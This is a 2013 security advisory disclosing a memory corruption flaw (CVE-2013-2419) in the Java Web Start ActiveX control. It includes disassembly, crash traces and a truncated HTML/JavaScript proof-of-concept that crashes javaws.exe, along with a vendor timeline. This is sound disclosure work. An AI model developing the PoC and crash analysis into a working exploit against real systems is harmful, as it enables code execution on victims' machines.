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SEC Consult SA-20130417-1 :: Java ActiveX Control Memory Corruption

SEC Consult Vulnerability Lab Security Advisory < 20130417-1 >
              title: Java ActiveX Control Memory Corruption
            product: Java(TM) Web Start Launcher
 vulnerable version: Sun Java Version 7 Update 17 and before
                     Sun Java Version 6 Update 43 and before
                     Sun Java Version 5.0 Update 41 and before
      fixed version: Patch information see sections below
                CVE: CVE-2013-2419
             impact: medium
           homepage: http://www.java.com/
              found: 2012-11-13
                 by: A. Antukh
                     SEC Consult Vulnerability Lab

Vendor description:
"To date, the Java platform has attracted more than 9 million software
developers. It's used in every major industry segment and has a presence
in a wide range of devices, computers, and networks.

Java technology's versatility, efficiency, platform portability, and
security make it the ideal technology for network computing. From laptops
to datacenters, game consoles to scientific supercomputers, cell phones to
the Internet, Java is everywhere!"

Source: http://www.java.com/en/about/

Vulnerability overview/description:
Memory corruption vulnerability exists in the launchApp() method of the
deployJava1.dll which is loaded by Internet Explorer and used to launch
javaws.exe with provided arguments. The second (optional) parameter that
is responsible for embedded data is checked improperly, which causes memory
corruption and reading from arbitrary address if specific conditions are met.

Successful exploitation of this vulnerability could potentially result in
an arbitrary code execution within the Java(TM) Web Start Launcher or cause
the application to crash.

Vulnerability details:
The launchApp() method expects the following arguments: *pJNLP, *pEmbedded
(optional) and *pVmArgs (optional). Providing a single wrong *pJNLP argument
causes an application to prompt an error message and exit. However, if an
attacker provides the second argument, it will be checked before quitting.

The function responsible for processing an auto-generated temp file containing
input args is the following:

.text:0040560F                 push    eax              ; size of input data
.text:00405610                 push    esi              ; malcrafted string
.text:00405611                 call    tmp_processing

If the input length doesn't satisfy condition of bitwise AND, the function
returns zero and exits:

.text:0040950B                 mov     edx, [ebp+arg_4]
.text:0040950E                 test    dl, 3            ; if size satisfies condition					
.text:00409511                 jz      short loc_409517 ; jump to processing
.text:00409513                 xor     eax, eax         ; otherwise return 0 and exit
.text:00409515                 leave
.text:00409516                 retn

The returned data is used later to write from, causing an access violation:

.text:00405611                 call    tmp_processing
.text:00405616                 mov     esi, eax
(cc0.9fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00155a10 ebx=00000000 ecx=00000008 edx=ffd21610 esi=00000000 edi=00000001
eip=00402a0d esp=0012e6a8 ebp=0012e734 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
00402a0d 8b86cc000000    mov     eax,dword ptr [esi+0CCh] ds:0023:000000cc=????????

However, if the size fits the condition of bitwise AND, the program flow
continues. The memory of input string length size is allocated:

.text:00409547                 push    eax             ; size_t
.text:00409548                 mov     [ebp+var_4], ecx
.text:0040954B                 call    _malloc

First WORD of the malformed string is taken and compared to 3Dh (equal sign '=')
to ignore it. If the WORD is not equal to 3Dh, data from the calculated offset from
input string is read.

.text:00409571                 cmp     ecx, 3Dh
.text:00409574                 jnz     short crash_place
.text:00409576                 xor     ecx, ecx
.text:00409578                 jmp     short loc_409582
.text:0040957A ; ---------------------------------------------------------------------------
.text:0040957A crash_place:                            ; CODE XREF: tmp_processing+97j
.text:0040957A                 movzx   ecx, word_445670[ecx*2]

If the resulting offset points to unallocated memory, an access violation
exception is thrown:

eax=001542a0 ebx=001559f8 ecx=0000aaee edx=00000000 esi=00000000 edi=001558c8
eip=0040957a esp=0012e650 ebp=0012e668 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
0040957a 0fb70c4d70564400 movzx   ecx,word ptr javaws+0x45670 (00445670)[ecx*2] ds:0023:0045ac4c=????

When carefully calculated, this could potentially lead to arbitrary code

The following PoC code can be used to test this vulnerability. It will crash the
javaws.exe process when opened in Internet Explorer.

<TITLE>Java ActiveX component memory corruption</TITLE>
<OBJECT id='javaws' classid='clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA'></object>
    function Exploit(){
        var dword=unescape("%uAAAA%uBBBB");
        for( mem = ""; mem.length<0x2F; mem +=dword );

Vulnerable / tested versions:
The vulnerability has been verified to exist in Java(TM) Platform SE 7 U9,
which was the most recent version at the time of discovery.

Vendor contact timeline:
2012-11-16: Contacted vendor through secalert_us@xxxxxxxxxx
2012-11-17: Initial vendor response - issues will be verified
2012-11-30: Vulnerability is confirmed and reproduced by the vendor
2013-02-25: Under investigation / Being fixed in main codeline
2013-03-26: Issue fixed in main codeline, scheduled for a future CPU
2013-04-13: Oracle: Advisory and patches will be released on 2013-04-16
2013-04-16: Oracle releases April 2013 CPU
2013-04-17: Public release of SEC Consult advisory

Apply latest patches, see:

No workaround is available.

Advisory URL:

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Mail: research at sec-consult dot com

EOF A. Antukh / @2013